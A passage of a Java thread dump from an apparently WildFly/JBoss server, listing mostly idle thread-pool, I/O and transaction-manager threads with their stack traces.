java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Transaction Reaper" #148 daemon [TIMED_WAITING] on com.arjuna.ats.arjuna.coordinator.TransactionReaper@1f17e59e + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/java.lang.Object.wait0(Native Method) + at java.base@21.0.6/java.lang.Object.wait(Object.java:366) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.coordinator.ReaperThread.run(ReaperThread.java:63) + +"ServerService Thread Pool -- 32" #72 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 39" #80 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 17" #57 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"XNIO-1 I/O-1" #144 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.6/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:147) + at org.jboss.xnio.nio@3.8.16.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"Periodic Recovery" #146 [TIMED_WAITING] on java.lang.Object@ccea56 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/java.lang.Object.wait0(Native Method) + at java.base@21.0.6/java.lang.Object.wait(Object.java:366) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.doBackoffWait(PeriodicRecovery.java:679) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.doWorkInternal(PeriodicRecovery.java:799) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.run(PeriodicRecovery.java:386) + +"ServerService Thread Pool -- 75" #141 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 24" #64 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"XNIO-1 Accept" #145 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.6/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:147) + at org.jboss.xnio.nio@3.8.16.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 63" #109 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 35" #76 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 20" #60 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 30" #70 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 54" #100 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Common-Cleaner" #18 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@67071739 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1852) + at java.base@21.0.6/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:71) + at java.base@21.0.6/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:143) + at java.base@21.0.6/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:218) + at java.base@21.0.6/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at java.base@21.0.6/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:186) + +"ServerService Thread Pool -- 16" #56 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 51" #97 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 60" #106 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 71" #134 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 85" #160 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 53" #99 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-13" #129 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.6/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:147) + at org.jboss.xnio.nio@3.8.16.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 5" #45 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 70" #116 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 64" #110 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 67" #113 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 37" #78 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-7" #123 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.6/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:147) + at org.jboss.xnio.nio@3.8.16.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 68" #114 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 57" #103 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 42" #85 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 36" #77 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 13" #53 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ConnectionValidator" #137 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26095b69 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1852) + at org.jboss.ironjacamar.impl@3.0.13.Final//org.jboss.jca.core.connectionmanager.pool.validator.ConnectionValidator$ConnectionValidatorRunner.run(ConnectionValidator.java:268) + at java.base@21.0.6/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.6/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + +"Reference Reaper #1" #150 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4ce56927 + java.lang.Thread.State: WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1712) + at java.base@21.0.6/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:67) + at java.base@21.0.6/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:158) + at java.base@21.0.6/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:234) + at org.wildfly.common@1.7.0.Final//org.wildfly.common.ref.References$ReaperThread.run(References.java:76) + +"IdleRemover" #136 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6927123 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1852) + at org.jboss.ironjacamar.impl@3.0.13.Final//org.jboss.jca.core.connectionmanager.pool.idle.IdleRemover$IdleRemoverRunner.run(IdleRemover.java:261) + at java.base@21.0.6/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.6/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + +"default I/O-9" #125 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.6/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:147) + at org.jboss.xnio.nio@3.8.16.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 11" #51 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-5" #121 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.6/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:147) + at org.jboss.xnio.nio@3.8.16.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"DestroyJavaVM" #40 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"ServerService Thread Pool -- 10" #50 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 12" #52 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 21" #61 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 41" #84 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@56f2f7bf + 